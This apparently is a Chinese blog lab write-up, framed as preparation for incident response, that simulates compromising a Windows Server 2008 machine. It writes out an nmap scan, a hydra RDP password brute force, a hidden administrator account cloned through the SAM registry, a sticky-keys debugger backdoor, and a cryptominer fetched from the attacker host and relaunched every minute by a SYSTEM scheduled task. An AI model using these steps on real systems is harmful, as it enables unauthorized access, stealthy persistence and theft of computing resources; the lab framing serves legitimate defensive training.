渗透测试笔记——暴力破解、定时任务与shift粘贴键权限维持、wakuang程序（靶机系统：Windows2008）

W小哥1

已于 2023-04-20 10:55:19 修改

阅读量1.1k

点赞数 3

CC 4.0 BY-SA版权

分类专栏：应急响应文章标签：网络安全渗透测试实战

于 2022-11-17 13:26:54 首次发布

本文链接：https://blog.csdn.net/weixin_40412037/article/details/123569414

应急响应专栏收录该内容

16 篇文章

订阅专栏

本文介绍了如何模拟针对Windows Server 2008系统的黑客攻击过程，包括端口扫描、密码爆破、创建隐藏账户、设置粘贴键后门及植入恶意程序等步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

本次实验主要是为了应急响应打基础，从攻击者的角度出发，知己知彼，百战不殆

一、环境搭建

靶机： Windwos Server 2008 系统
靶机IP地址： 192.168.226.137

攻击IP地址： 192.168.226.1

二、模拟攻击

2.1 扫描端口

拿到目标IP首先使用nmap扫描，探测一下开放的端口

nmap -sS 192.168.226.137

发现目标系统的 3389 号端口开发
在这里插入图片描述

2.2 暴力破解 Administrator 密码

使用 hydra 工具爆破 Administrator 登录密码

hydra.exe -l Administrator  -P pass.txt rdp://192.168.226.137

在这里插入图片描述
使用爆破出的密码成功登录目标系统

2.3 权限维持—Windows系统隐藏账户

添加wxiaoge$隐藏账户并且添加进管理员组，首先执行以下命令

net user wxiaoge$ w123456! /add                  #添加wxiaoge$隐藏用户
net localgroup administrators wxiaoge$ /add    #将wxiaoge$用户添加进管理员组中

在这里插入图片描述
然后打开注册表编辑器，找到HKEY_LOCAL_MACHINE\SAM\SAM，点击右键，选择“权限”，将Administrator用户的权限，设置成“完全控制”，然后重新打开注册表，确保可以看到SAM路径下的文件。

找到HKEY_LOCAL_MACHINE\SAM\SAM，点击右键，选择“权限”
在这里插入图片描述
将Administrator用户的权限，设置成“完全控制”

在这里插入图片描述
重新打开注册表，确保可以看到SAM路径下的文件

之后，前往SAM/Domains/Account/Users/Names处，选择Administrator用户，在右侧的键值处可以找到对应的值如0x1f4，然后从左侧的Users目录下可以找到对应的文件。

然后从对应的000001F4文件中将键值对F的值复制出来。然后同理找到隐藏账户wxiaoge$所对应的文件，并将从Administrator文件中复制出来的F值粘贴进 wxiaoge $文件中。
在这里插入图片描述

最后将wxiaoge $ 和000003EB从注册表中右键导出，并删除wxiaoge$用户，然后将刚刚导出的两个文件重新导入进注册表中即可实现wxiaoge用户的隐藏。

导出：
在这里插入图片描述

删除 wxiaoge$ 账户，成功删除后，注册表中的000003EB、wxiaoge$都没有了

点击刚刚导出保存的 wxiaoge.reg和3EB.reg，点击之后会自动导入注册表

wxiaoge.reg和3EB.reg成功导入后，可以继续使用wxiag账户登录，之后验证后门账户，且成功登录

2.4 权限维持—shift粘贴键后门

1、粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。所以我们打开注册表，定位到以下路径：
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File ExecutionOption
在这里插入图片描述

2、在目录中新建一个sethc.exe的子项，并添加一个新键debugger，debugger的对应键值为cms的路径。
cmd路径：C:\Windows\system32\cmd.exe
在这里插入图片描述

2.5 植入恶意程序

将恶意wa kung程序放在本机的WWW目录下
在这里插入图片描述
让靶机通过浏览器下载到本地，浏览器地址 http://192.168.226.1/wkbd.zip

之后在靶机（windows server 2008）上解压wkbd.zip文件并且执行 javs.exe恶意程序

执行之后查看出现如下弹窗，说明wa kuang恶意程序已经成功运行
在这里插入图片描述
为了防止管理员将恶意挖矿程序 javs.exe给关闭，设置计划任务，每隔一分钟执行一次 javs.exe 恶意程序

schtasks /create /tn system /sc minute /mo 1 /tr C:\Users\Administrator\Downloads\wkbd\wkbd\javs.exe  /ru system /f
#创建一个system计划任务，每一分钟执行一次javs.exe

在这里插入图片描述
至此，模拟实战结束，成功留了后门、恶意程序

在这里插入图片描述